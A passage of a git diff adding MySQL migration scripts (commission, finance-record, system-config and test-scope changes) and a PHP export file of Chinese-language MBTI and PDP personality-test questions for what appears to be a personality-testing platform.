@tbl, '` ADD COLUMN `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT ''解冻时间'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- status 字段类型修改 +ALTER TABLE `mbti_commission_records` + MODIFY COLUMN `status` varchar(20) NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled'; + +-- ---------------------------- +-- 5. 补充索引(忽略已存在的,用 CREATE INDEX 方式) +-- ---------------------------- +SET @tbl = 'mbti_commission_records'; + +SET @idx = 'idx_scope'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.STATISTICS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND INDEX_NAME = @idx) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD INDEX `idx_scope` (`scope`)'), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @idx = 'idx_dist_enterpriseId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.STATISTICS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND INDEX_NAME = @idx) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD INDEX `idx_dist_enterpriseId` (`enterpriseId`)'), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @idx = 'idx_inviterId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.STATISTICS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND INDEX_NAME = @idx) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD INDEX `idx_inviterId` (`inviterId`)'), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/api/database/add_enterprise_id_to_system_config.sql b/api/database/add_enterprise_id_to_system_config.sql new file mode 100644 index 0000000..39e5532 --- /dev/null +++ b/api/database/add_enterprise_id_to_system_config.sql @@ -0,0 +1,34 @@ +-- 迁移:system_config 新增 enterprise_id 列 +-- enterprise_id = 0 表示全局/超管配置,> 0 表示对应企业的配置 +-- 执行前请先备份数据库 + +-- 1. 新增 enterprise_id 列(默认 0 = 全局) +ALTER TABLE `mbti_system_config` + ADD COLUMN `enterprise_id` INT NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版' AFTER `key`; + +-- 2. 删除旧的单字段唯一索引,改为 (key, enterprise_id) 联合唯一索引 +ALTER TABLE `mbti_system_config` DROP INDEX `idx_key`; +ALTER TABLE `mbti_system_config` ADD UNIQUE INDEX `idx_key_eid` (`key`, `enterprise_id`); + +-- 3. 迁移旧数据:poster_config_eid_N → key='poster_config', enterprise_id=N +UPDATE `mbti_system_config` +SET `enterprise_id` = CAST(SUBSTRING_INDEX(`key`, '_eid_', -1) AS UNSIGNED), + `key` = 'poster_config' +WHERE `key` LIKE 'poster_config_eid_%'; + +-- 4. 迁移旧数据:distribution_enterprise_N → key='distribution', enterprise_id=N +UPDATE `mbti_system_config` +SET `enterprise_id` = CAST(SUBSTRING_INDEX(`key`, 'distribution_enterprise_', -1) AS UNSIGNED), + `key` = 'distribution' +WHERE `key` LIKE 'distribution_enterprise_%'; + +-- 5. 迁移旧数据:distribution_personal → key='distribution', enterprise_id=0 +UPDATE `mbti_system_config` +SET `key` = 'distribution' +WHERE `key` = 'distribution_personal'; + +-- 6. 迁移旧数据:miniprogram_config_eid_N → key='text_config', enterprise_id=N +UPDATE `mbti_system_config` +SET `enterprise_id` = CAST(SUBSTRING_INDEX(`key`, '_eid_', -1) AS UNSIGNED), + `key` = 'text_config' +WHERE `key` LIKE 'miniprogram_config_eid_%'; diff --git a/api/database/add_finance_records.sql b/api/database/add_finance_records.sql new file mode 100644 index 0000000..c081852 --- /dev/null +++ b/api/database/add_finance_records.sql @@ -0,0 +1,18 @@ +-- 企业财务流水表 +-- 用于记录企业余额充值、测试收入入账、佣金扣减等变动 + +CREATE TABLE IF NOT EXISTS `mbti_finance_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(20) NOT NULL COMMENT '类型: recharge/consume/refund', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', + `description` varchar(255) NULL DEFAULT NULL COMMENT '描述', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`), + KEY `idx_enterpriseId` (`enterpriseId`), + KEY `idx_type` (`type`), + KEY `idx_createdAt` (`createdAt`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='财务记录表'; diff --git a/api/database/add_orders_product_title.sql b/api/database/add_orders_product_title.sql new file mode 100644 index 0000000..e9c7b8e --- /dev/null +++ b/api/database/add_orders_product_title.sql @@ -0,0 +1,3 @@ +ALTER TABLE `mbti_orders` +ADD COLUMN `productTitle` varchar(255) NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)' AFTER `productType`; + diff --git a/api/database/add_test_commission_fields.sql b/api/database/add_test_commission_fields.sql new file mode 100644 index 0000000..0725e1c --- /dev/null +++ b/api/database/add_test_commission_fields.sql @@ -0,0 +1,9 @@ +-- 为测试完成佣金补充 commission_records 新字段 +-- 执行前请先确认表前缀是否为 mbti_ + +ALTER TABLE `mbti_commission_records` + ADD COLUMN `testResultId` int(11) NULL DEFAULT NULL COMMENT '测试结果ID(测试完成佣金使用,关联 test_results.id)' AFTER `orderId`, + ADD COLUMN `commissionSource` varchar(20) NOT NULL DEFAULT 'payment' COMMENT '佣金来源: payment|test_completion' AFTER `testResultId`; + +ALTER TABLE `mbti_commission_records` + ADD UNIQUE KEY `uk_test_commission` (`testResultId`, `commissionSource`); diff --git a/api/database/add_test_scope.sql b/api/database/add_test_scope.sql new file mode 100644 index 0000000..15d9f84 --- /dev/null +++ b/api/database/add_test_scope.sql @@ -0,0 +1,12 @@ +-- 为 test_results 新增 testScope 字段,明确区分企业版与个人版 +-- personal:用户从个人链接/个人页发起的测试(定价走 admin_personal) +-- enterprise:用户从企业分享链接发起的测试(定价走 admin_enterprise) +-- 执行前请确认表前缀,默认为 mbti_ + +ALTER TABLE `mbti_test_results` + ADD COLUMN `testScope` varchar(20) NOT NULL DEFAULT 'personal' + COMMENT '测试来源版本: personal=个人版 enterprise=企业版' + AFTER `enterpriseId`; + +-- 将已有记录中 enterpriseId 非空的补标为 enterprise(兼容历史数据) +UPDATE `mbti_test_results` SET `testScope` = 'enterprise' WHERE `enterpriseId` IS NOT NULL; diff --git a/api/database/export_questions_data.php b/api/database/export_questions_data.php new file mode 100644 index 0000000..51c7735 --- /dev/null +++ b/api/database/export_questions_data.php @@ -0,0 +1,201 @@ + 1, 'question' => '在社交场合中,您通常会:', 'options' => [['value' => 'E', 'text' => '认识新朋友,扩大社交圈'], ['value' => 'I', 'text' => '与已认识的朋友交流,保持小圈子']], 'dimension' => 'EI'], + ['id' => 2, 'question' => '您更喜欢:', 'options' => [['value' => 'E', 'text' => '在团队中工作,与他人合作'], ['value' => 'I', 'text' => '独立工作,自己思考问题']], 'dimension' => 'EI'], + ['id' => 3, 'question' => '当您需要充电时,您会选择:', 'options' => [['value' => 'E', 'text' => '与朋友聚会,参加社交活动'], ['value' => 'I', 'text' => '独处,阅读或进行个人爱好']], 'dimension' => 'EI'], + ['id' => 4, 'question' => '在会议或讨论中,您通常:', 'options' => [['value' => 'E', 'text' => '积极发言,边说边思考'], ['value' => 'I', 'text' => '先思考,然后再发表意见']], 'dimension' => 'EI'], + ['id' => 5, 'question' => '您更倾向于:', 'options' => [['value' => 'E', 'text' => '认识很多人,建立广泛的社交网络'], ['value' => 'I', 'text' => '与少数几个人建立深厚的友谊']], 'dimension' => 'EI'], + ['id' => 6, 'question' => '在工作环境中,您更喜欢:', 'options' => [['value' => 'E', 'text' => '开放的办公空间,可以随时与同事交流'], ['value' => 'I', 'text' => '安静的私人空间,可以专注工作']], 'dimension' => 'EI'], + ['id' => 7, 'question' => '当面对问题时,您更倾向于:', 'options' => [['value' => 'E', 'text' => '与他人讨论,获取不同观点'], ['value' => 'I', 'text' => '独自思考,寻找解决方案']], 'dimension' => 'EI'], + ['id' => 8, 'question' => '您更喜欢的休闲活动是:', 'options' => [['value' => 'E', 'text' => '参加派对、团体活动或体育比赛'], ['value' => 'I', 'text' => '阅读、看电影或独自进行创作']], 'dimension' => 'EI'], + ['id' => 9, 'question' => '在陌生环境中,您通常会:', 'options' => [['value' => 'E', 'text' => '主动与他人交谈,快速融入环境'], ['value' => 'I', 'text' => '观察周围环境,等待他人接近']], 'dimension' => 'EI'], + ['id' => 10, 'question' => '您认为自己是:', 'options' => [['value' => 'E', 'text' => '外向、健谈的人'], ['value' => 'I', 'text' => '内敛、安静的人']], 'dimension' => 'EI'], + ['id' => 11, 'question' => '长时间的社交活动后,您通常会:', 'options' => [['value' => 'E', 'text' => '感到精力充沛,想继续社交'], ['value' => 'I', 'text' => '感到疲惫,需要独处恢复精力']], 'dimension' => 'EI'], + ['id' => 12, 'question' => '您更喜欢的工作方式是:', 'options' => [['value' => 'E', 'text' => '与团队一起头脑风暴和协作'], ['value' => 'I', 'text' => '独立思考和解决问题']], 'dimension' => 'EI'], + ['id' => 13, 'question' => '您更容易:', 'options' => [['value' => 'E', 'text' => '在说话的过程中组织思路'], ['value' => 'I', 'text' => '在说话前先组织好思路']], 'dimension' => 'EI'], + ['id' => 14, 'question' => '您更喜欢的学习方式是:', 'options' => [['value' => 'E', 'text' => '小组讨论和互动学习'], ['value' => 'I', 'text' => '自学和独立研究']], 'dimension' => 'EI'], + ['id' => 15, 'question' => '当您有好消息时,您会:', 'options' => [['value' => 'E', 'text' => '立即告诉朋友和家人分享喜悦'], ['value' => 'I', 'text' => '只告诉少数几个亲近的人']], 'dimension' => 'EI'], + ['id' => 16, 'question' => '您更喜欢的假期类型是:', 'options' => [['value' => 'E', 'text' => '热闹的旅游胜地,有很多活动和人'], ['value' => 'I', 'text' => '安静的度假地,可以放松和思考']], 'dimension' => 'EI'], + ['id' => 17, 'question' => '在团队项目中,您更倾向于:', 'options' => [['value' => 'E', 'text' => '担任协调者或发言人的角色'], ['value' => 'I', 'text' => '负责研究或分析的工作']], 'dimension' => 'EI'], + ['id' => 18, 'question' => '您更喜欢的通讯方式是:', 'options' => [['value' => 'E', 'text' => '面对面交谈或视频通话'], ['value' => 'I', 'text' => '电子邮件或文字消息']], 'dimension' => 'EI'], + ['id' => 19, 'question' => '当您遇到困难时,您更倾向于:', 'options' => [['value' => 'E', 'text' => '寻求他人的建议和支持'], ['value' => 'I', 'text' => '自己思考解决方案']], 'dimension' => 'EI'], + ['id' => 20, 'question' => '您更喜欢的工作环境是:', 'options' => [['value' => 'E', 'text' => '充满活力和互动的环境'], ['value' => 'I', 'text' => '安静和专注的环境']], 'dimension' => 'EI'], + ['id' => 21, 'question' => '您更倾向于:', 'options' => [['value' => 'E', 'text' => '在多个社交圈中活跃'], ['value' => 'I', 'text' => '在一个小圈子中深入交往']], 'dimension' => 'EI'], + ['id' => 22, 'question' => '您更喜欢:', 'options' => [['value' => 'E', 'text' => '参加大型社交活动'], ['value' => 'I', 'text' => '与一两个朋友进行深入交流']], 'dimension' => 'EI'], + ['id' => 23, 'question' => '您更倾向于:', 'options' => [['value' => 'E', 'text' => '在公共场合表达自己的想法'], ['value' => 'I', 'text' => '在私下或小范围内分享想法']], 'dimension' => 'EI'], + // S vs N 维度问题 (22题) + ['id' => 24, 'question' => '当面对新信息时,您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注具体细节和事实'], ['value' => 'N', 'text' => '寻找模式和可能性']], 'dimension' => 'SN'], + ['id' => 25, 'question' => '您更相信:', 'options' => [['value' => 'S', 'text' => '实际经验和直接观察'], ['value' => 'N', 'text' => '直觉和想象力']], 'dimension' => 'SN'], + ['id' => 26, 'question' => '您更喜欢处理:', 'options' => [['value' => 'S', 'text' => '已知的、确定的信息'], ['value' => 'N', 'text' => '理论性的、抽象的概念']], 'dimension' => 'SN'], + ['id' => 27, 'question' => '在解决问题时,您更倾向于:', 'options' => [['value' => 'S', 'text' => '使用已证实有效的方法'], ['value' => 'N', 'text' => '尝试创新的解决方案']], 'dimension' => 'SN'], + ['id' => 28, 'question' => '您更关注:', 'options' => [['value' => 'S', 'text' => '当下的现实和实际情况'], ['value' => 'N', 'text' => '未来的可能性和潜在发展']], 'dimension' => 'SN'], + ['id' => 29, 'question' => '您更喜欢的工作类型是:', 'options' => [['value' => 'S', 'text' => '有明确指导和具体步骤的工作'], ['value' => 'N', 'text' => '允许创新和探索的工作']], 'dimension' => 'SN'], + ['id' => 30, 'question' => '您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注实际和现实的细节'], ['value' => 'N', 'text' => '思考概念和理论']], 'dimension' => 'SN'], + ['id' => 31, 'question' => '您更喜欢的书籍或电影是:', 'options' => [['value' => 'S', 'text' => '基于现实的故事或纪实作品'], ['value' => 'N', 'text' => '科幻、奇幻或充满想象力的作品']], 'dimension' => 'SN'], + ['id' => 32, 'question' => '在学习新技能时,您更倾向于:', 'options' => [['value' => 'S', 'text' => '按部就班地学习,掌握每个具体步骤'], ['value' => 'N', 'text' => '先了解整体概念,然后填补细节']], 'dimension' => 'SN'], + ['id' => 33, 'question' => '您更喜欢的工作环境是:', 'options' => [['value' => 'S', 'text' => '有明确结构和规则的环境'], ['value' => 'N', 'text' => '灵活多变,鼓励创新的环境']], 'dimension' => 'SN'], + ['id' => 34, 'question' => '您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注现实和实际问题'], ['value' => 'N', 'text' => '思考未来和可能性']], 'dimension' => 'SN'], + ['id' => 35, 'question' => '在描述事物时,您更倾向于:', 'options' => [['value' => 'S', 'text' => '提供具体细节和精确描述'], ['value' => 'N', 'text' => '使用比喻和隐喻,强调整体印象']], 'dimension' => 'SN'], + ['id' => 36, 'question' => '您更喜欢的工作任务是:', 'options' => [['value' => 'S', 'text' => '需要精确和注重细节的任务'], ['value' => 'N', 'text' => '需要创造力和想象力的任务']], 'dimension' => 'SN'], + ['id' => 37, 'question' => '您更相信:', 'options' => [['value' => 'S', 'text' => '亲眼所见和实际经验'], ['value' => 'N', 'text' => '直觉和内在感受']], 'dimension' => 'SN'], + ['id' => 38, 'question' => '在讨论问题时,您更关注:', 'options' => [['value' => 'S', 'text' => '具体事实和实际例子'], ['value' => 'N', 'text' => '概念和理论框架']], 'dimension' => 'SN'], + ['id' => 39, 'question' => '您更喜欢的学习方式是:', 'options' => [['value' => 'S', 'text' => '通过实践和具体例子学习'], ['value' => 'N', 'text' => '通过理论和概念学习']], 'dimension' => 'SN'], + ['id' => 40, 'question' => '您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注现在和过去的经验'], ['value' => 'N', 'text' => '思考未来和可能发生的事情']], 'dimension' => 'SN'], + ['id' => 41, 'question' => '在解决问题时,您更依赖:', 'options' => [['value' => 'S', 'text' => '已经证明有效的方法和经验'], ['value' => 'N', 'text' => '创新的思路和直觉']], 'dimension' => 'SN'], + ['id' => 42, 'question' => '您更喜欢的工作是:', 'options' => [['value' => 'S', 'text' => '有明确目标和具体步骤的工作'], ['value' => 'N', 'text' => '允许探索和创新的工作']], 'dimension' => 'SN'], + ['id' => 43, 'question' => '您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注实际和现实的问题'], ['value' => 'N', 'text' => '思考抽象和理论性的问题']], 'dimension' => 'SN'], + ['id' => 44, 'question' => '您更喜欢:', 'options' => [['value' => 'S', 'text' => '按照既定的方法和程序工作'], ['value' => 'N', 'text' => '尝试新的方法和创新的解决方案']], 'dimension' => 'SN'], + ['id' => 45, 'question' => '您更关注:', 'options' => [['value' => 'S', 'text' => '实际的细节和具体的事实'], ['value' => 'N', 'text' => '整体的概念和潜在的可能性']], 'dimension' => 'SN'], + // T vs F 维度问题 (22题) + ['id' => 46, 'question' => '在做决定时,您通常会:', 'options' => [['value' => 'T', 'text' => '考虑逻辑和客观分析'], ['value' => 'F', 'text' => '考虑个人价值观和他人感受']], 'dimension' => 'TF'], + ['id' => 47, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '公正客观地分析情况'], ['value' => 'F', 'text' => '考虑决定对人的影响']], 'dimension' => 'TF'], + ['id' => 48, 'question' => '在解决冲突时,您更关注:', 'options' => [['value' => 'T', 'text' => '找出问题的根本原因和逻辑解决方案'], ['value' => 'F', 'text' => '维护关系和照顾各方感受']], 'dimension' => 'TF'], + ['id' => 49, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '直接指出问题,即使可能伤害他人感受'], ['value' => 'F', 'text' => '委婉表达,避免伤害他人感受']], 'dimension' => 'TF'], + ['id' => 50, 'question' => '在评估情况时,您更重视:', 'options' => [['value' => 'T', 'text' => '客观事实和逻辑分析'], ['value' => 'F', 'text' => '人际关系和价值观']], 'dimension' => 'TF'], + ['id' => 51, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '保持客观,不受个人情感影响'], ['value' => 'F', 'text' => '考虑决定对他人的情感影响']], 'dimension' => 'TF'], + ['id' => 52, 'question' => '在团队中,您更关注:', 'options' => [['value' => 'T', 'text' => '任务的完成和效率'], ['value' => 'F', 'text' => '团队和谐和成员满意度']], 'dimension' => 'TF'], + ['id' => 53, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '基于逻辑和事实做决定'], ['value' => 'F', 'text' => '基于价值观和个人信念做决定']], 'dimension' => 'TF'], + ['id' => 54, 'question' => '在给予反馈时,您更倾向于:', 'options' => [['value' => 'T', 'text' => '直接指出问题和改进方向'], ['value' => 'F', 'text' => '先肯定优点,再委婉提出建议']], 'dimension' => 'TF'], + ['id' => 55, 'question' => '您更看重:', 'options' => [['value' => 'T', 'text' => '公平和一致性'], ['value' => 'F', 'text' => '同情和个人情况']], 'dimension' => 'TF'], + ['id' => 56, 'question' => '在工作中,您更重视:', 'options' => [['value' => 'T', 'text' => '效率和成果'], ['value' => 'F', 'text' => '团队合作和人际关系']], 'dimension' => 'TF'], + ['id' => 57, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '客观分析问题,不受个人情感影响'], ['value' => 'F', 'text' => '考虑决定对人的影响和感受']], 'dimension' => 'TF'], + ['id' => 58, 'question' => '在处理冲突时,您更倾向于:', 'options' => [['value' => 'T', 'text' => '关注问题本身,寻求公正的解决方案'], ['value' => 'F', 'text' => '关注人际关系,寻求和谐的解决方案']], 'dimension' => 'TF'], + ['id' => 59, 'question' => '您更看重:', 'options' => [['value' => 'T', 'text' => '真实和诚实,即使可能伤害感情'], ['value' => 'F', 'text' => '善良和体贴,避免伤害他人']], 'dimension' => 'TF'], + ['id' => 60, 'question' => '在评价他人时,您更倾向于:', 'options' => [['value' => 'T', 'text' => '客观评价其表现和能力'], ['value' => 'F', 'text' => '考虑其努力和意图']], 'dimension' => 'TF'], + ['id' => 61, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '基于原则和规则做决定'], ['value' => 'F', 'text' => '基于具体情况和个人需求做决定']], 'dimension' => 'TF'], + ['id' => 62, 'question' => '在处理问题时,您更关注:', 'options' => [['value' => 'T', 'text' => '找出最有效的解决方案'], ['value' => 'F', 'text' => '确保所有人都感到被尊重和理解']], 'dimension' => 'TF'], + ['id' => 63, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '保持客观和理性'], ['value' => 'F', 'text' => '表达同理心和关怀']], 'dimension' => 'TF'], + ['id' => 64, 'question' => '在做决定时,您更看重:', 'options' => [['value' => 'T', 'text' => '逻辑和一致性'], ['value' => 'F', 'text' => '价值观和人际和谐']], 'dimension' => 'TF'], + ['id' => 65, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '分析问题,寻找最佳解决方案'], ['value' => 'F', 'text' => '理解他人感受,寻求共识']], 'dimension' => 'TF'], + ['id' => 66, 'question' => '在工作中,您更重视:', 'options' => [['value' => 'T', 'text' => '完成任务和达成目标'], ['value' => 'F', 'text' => '维护良好的工作关系']], 'dimension' => 'TF'], + ['id' => 67, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '基于事实和数据做决定'], ['value' => 'F', 'text' => '考虑决定对人的影响']], 'dimension' => 'TF'], + // J vs P 维度问题 (23题) + ['id' => 68, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '提前计划并按计划执行'], ['value' => 'P', 'text' => '保持灵活,根据情况调整']], 'dimension' => 'JP'], + ['id' => 69, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '按时完成任务,避免拖延'], ['value' => 'P', 'text' => '在最后期限前完成任务,保持灵活性']], 'dimension' => 'JP'], + ['id' => 70, 'question' => '您更喜欢的工作环境是:', 'options' => [['value' => 'J', 'text' => '有明确的规则和结构'], ['value' => 'P', 'text' => '灵活多变,允许即兴发挥']], 'dimension' => 'JP'], + ['id' => 71, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '制定详细的计划并遵循'], ['value' => 'P', 'text' => '根据情况随机应变']], 'dimension' => 'JP'], + ['id' => 72, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '有条理和组织的生活方式'], ['value' => 'P', 'text' => '自然流动和灵活的生活方式']], 'dimension' => 'JP'], + ['id' => 73, 'question' => '在做决定时,您更倾向于:', 'options' => [['value' => 'J', 'text' => '尽快做出决定并执行'], ['value' => 'P', 'text' => '保持选项开放,等待更多信息']], 'dimension' => 'JP'], + ['id' => 74, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '按照既定的时间表和计划行事'], ['value' => 'P', 'text' => '根据当下的情况和感受行事']], 'dimension' => 'JP'], + ['id' => 75, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '完成一项任务后再开始下一项'], ['value' => 'P', 'text' => '同时处理多项任务,根据情况切换']], 'dimension' => 'JP'], + ['id' => 76, 'question' => '您更喜欢的工作方式是:', 'options' => [['value' => 'J', 'text' => '有明确的目标和截止日期'], ['value' => 'P', 'text' => '灵活的工作流程,可以随时调整']], 'dimension' => 'JP'], + ['id' => 77, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '提前做决定,避免最后一刻的压力'], ['value' => 'P', 'text' => '保持选项开放,等待最佳时机']], 'dimension' => 'JP'], + ['id' => 78, 'question' => '您的工作区域通常是:', 'options' => [['value' => 'J', 'text' => '整洁有序,物品摆放有规律'], ['value' => 'P', 'text' => '创意性混乱,物品随手可及']], 'dimension' => 'JP'], + ['id' => 79, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '按部就班地完成任务'], ['value' => 'P', 'text' => '在灵感来临时集中精力工作']], 'dimension' => 'JP'], + ['id' => 80, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '有明确的规则和指导方针'], ['value' => 'P', 'text' => '灵活的环境,可以自由发挥']], 'dimension' => 'JP'], + ['id' => 81, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '提前计划假期和活动'], ['value' => 'P', 'text' => '即兴决定和安排活动']], 'dimension' => 'JP'], + ['id' => 82, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '有明确的日程安排'], ['value' => 'P', 'text' => '根据当天的情况决定']], 'dimension' => 'JP'], + ['id' => 83, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '按照计划行事,避免意外'], ['value' => 'P', 'text' => '适应变化,享受意外惊喜']], 'dimension' => 'JP'], + ['id' => 84, 'question' => '您更喜欢的生活方式是:', 'options' => [['value' => 'J', 'text' => '有规律和可预测的'], ['value' => 'P', 'text' => '自然流动和多变的']], 'dimension' => 'JP'], + ['id' => 85, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '提前做好准备,避免匆忙'], ['value' => 'P', 'text' => '在最后一刻完成准备,保持灵活性']], 'dimension' => 'JP'], + ['id' => 86, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '明确的指导和方向'], ['value' => 'P', 'text' => '探索不同的可能性']], 'dimension' => 'JP'], + ['id' => 87, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '按照既定的程序和方法工作'], ['value' => 'P', 'text' => '根据情况调整工作方法']], 'dimension' => 'JP'], + ['id' => 88, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '有明确的目标和计划'], ['value' => 'P', 'text' => '保持开放的态度,随机应变']], 'dimension' => 'JP'], + ['id' => 89, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '做决定并坚持执行'], ['value' => 'P', 'text' => '保持灵活,根据新信息调整']], 'dimension' => 'JP'], + ['id' => 90, 'question' => '您更喜欢的工作环境是:', 'options' => [['value' => 'J', 'text' => '有明确的期望和截止日期'], ['value' => 'P', 'text' => '灵活的工作流程和时间安排']], 'dimension' => 'JP'], +]; + +// PDP 题库数据(从 pdp-questions.ts 提取) +$pdpQuestions = [ + ['id' => 1, 'question' => '面对紧急任务,您的第一反应是:', 'options' => [['value' => 'Tiger', 'text' => '立即行动,快速完成'], ['value' => 'Peacock', 'text' => '召集团队,激励大家'], ['value' => 'Koala', 'text' => '冷静分析,稳步推进'], ['value' => 'Owl', 'text' => '仔细规划,确保无误'], ['value' => 'Chameleon', 'text' => '根据情况灵活应对']]], + ['id' => 2, 'question' => '在社交场合,您通常会:', 'options' => [['value' => 'Tiger', 'text' => '主导话题,引领讨论'], ['value' => 'Peacock', 'text' => '活跃气氛,成为焦点'], ['value' => 'Koala', 'text' => '安静倾听,适时回应'], ['value' => 'Owl', 'text' => '观察分析,选择性交流'], ['value' => 'Chameleon', 'text' => '根据对象调整方式']]], + ['id' => 3, 'question' => '您最看重工作中的:', 'options' => [['value' => 'Tiger', 'text' => '权力和成就'], ['value' => 'Peacock', 'text' => '认可和赞赏'], ['value' => 'Koala', 'text' => '稳定和和谐'], ['value' => 'Owl', 'text' => '准确和质量'], ['value' => 'Chameleon', 'text' => '平衡和适应']]], + ['id' => 4, 'question' => '处理冲突时,您倾向于:', 'options' => [['value' => 'Tiger', 'text' => '直接面对,迅速解决'], ['value' => 'Peacock', 'text' => '调解双方,化解矛盾'], ['value' => 'Koala', 'text' => '避免冲突,维护和平'], ['value' => 'Owl', 'text' => '分析原因,理性处理'], ['value' => 'Chameleon', 'text' => '灵活应对,视情况而定']]], + ['id' => 5, 'question' => '您的决策风格是:', 'options' => [['value' => 'Tiger', 'text' => '果断迅速,行动导向'], ['value' => 'Peacock', 'text' => '直觉判断,情感驱动'], ['value' => 'Koala', 'text' => '深思熟虑,追求共识'], ['value' => 'Owl', 'text' => '数据分析,逻辑推理'], ['value' => 'Chameleon', 'text' => '综合考虑,灵活决策']]], + ['id' => 6, 'question' => '面对压力,您会:', 'options' => [['value' => 'Tiger', 'text' => '更加强势,控制局面'], ['value' => 'Peacock', 'text' => '寻求支持,表达情绪'], ['value' => 'Koala', 'text' => '保持冷静,稳定情绪'], ['value' => 'Owl', 'text' => '更加谨慎,反复确认'], ['value' => 'Chameleon', 'text' => '调整策略,灵活应对']]], + ['id' => 7, 'question' => '您的领导风格是:', 'options' => [['value' => 'Tiger', 'text' => '指挥型,明确方向'], ['value' => 'Peacock', 'text' => '激励型,鼓舞士气'], ['value' => 'Koala', 'text' => '支持型,关怀团队'], ['value' => 'Owl', 'text' => '专家型,以身作则'], ['value' => 'Chameleon', 'text' => '教练型,因材施教']]], + ['id' => 8, 'question' => '您处理细节的方式是:', 'options' => [['value' => 'Tiger', 'text' => '关注大局,委托他人'], ['value' => 'Peacock', 'text' => '可能忽略,更重整体'], ['value' => 'Koala', 'text' => '认真对待,确保准确'], ['value' => 'Owl', 'text' => '极度重视,追求完美'], ['value' => 'Chameleon', 'text' => '视情况决定关注程度']]], + ['id' => 9, 'question' => '您的沟通方式是:', 'options' => [['value' => 'Tiger', 'text' => '直接简短,注重结果'], ['value' => 'Peacock', 'text' => '热情生动,富有感染力'], ['value' => 'Koala', 'text' => '温和耐心,善于倾听'], ['value' => 'Owl', 'text' => '逻辑清晰,注重事实'], ['value' => 'Chameleon', 'text' => '根据对象调整方式']]], + ['id' => 10, 'question' => '您对变化的态度是:', 'options' => [['value' => 'Tiger', 'text' => '主动推动,寻找机会'], ['value' => 'Peacock', 'text' => '积极拥抱,乐观面对'], ['value' => 'Koala', 'text' => '需要适应时间'], ['value' => 'Owl', 'text' => '谨慎评估,确保万全'], ['value' => 'Chameleon', 'text' => '灵活适应,随机应变']]], + ['id' => 11, 'question' => '您的时间管理风格是:', 'options' => [['value' => 'Tiger', 'text' => '高效利用,追求速度'], ['value' => 'Peacock', 'text' => '灵活安排,留有余地'], ['value' => 'Koala', 'text' => '按部就班,稳定执行'], ['value' => 'Owl', 'text' => '精确规划,严格执行'], ['value' => 'Chameleon', 'text' => '根据情况调整计划']]], + ['id' => 12, 'question' => '您被什么激励:', 'options' => [['value' => 'Tiger', 'text' => '成就和权力'], ['value' => 'Peacock', 'text' => '认可和赞赏'], ['value' => 'Koala', 'text' => '安全和归属'], ['value' => 'Owl', 'text' => '正确和标准'], ['value' => 'Chameleon', 'text' => '多样性和平衡']]], + ['id' => 13, 'question' => '您的学习方式是:', 'options' => [['value' => 'Tiger', 'text' => '边做边学,实践第一'], ['value' => 'Peacock', 'text' => 